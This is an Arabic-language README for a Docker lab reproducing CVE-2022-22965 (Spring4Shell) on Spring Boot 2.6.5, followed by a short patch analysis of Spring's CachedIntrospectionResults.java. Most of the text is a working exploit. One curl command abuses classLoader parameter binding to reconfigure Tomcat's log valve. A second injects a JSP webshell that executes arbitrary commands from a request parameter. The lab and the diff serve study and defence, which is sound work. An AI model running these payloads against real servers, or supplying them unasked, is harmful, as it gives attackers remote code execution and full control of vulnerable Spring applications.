
Docker PoC لـ CVE-2022-22965 مع Spring Boot الإصدار 2.6.5
Docker PoC لـ CVE-2022-22965 مع سبرينغ بوت الإصدار 2.6.5

docker compose up --build لبناء وتشغيل التطبيق المعرض للخطر.curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" لتغييرات صمام تكوين Tomcat.curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" لإنشاء الويب شيل.يمكن تنزيل الكود المصدري لـ Spring Framework 5.3.17 (المعرض للخطر) و Spring Framework 5.3.18 (المصحح) على التوالي من:
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
تم العثور على الثغرة في ملف /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java في السطر 290 حيث يتم تطبيق التحقق من صحة طرق Class.getClassLoader() و getProtectionDomain() ولكن ليس لأنواع ClassLoader, ProtectionDomain وأسماء PropertyDescriptors.
يمكن الحصول على الفرق بين الكود المعرض للخطر والكود المصحح باستخدام الأمر diff.
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
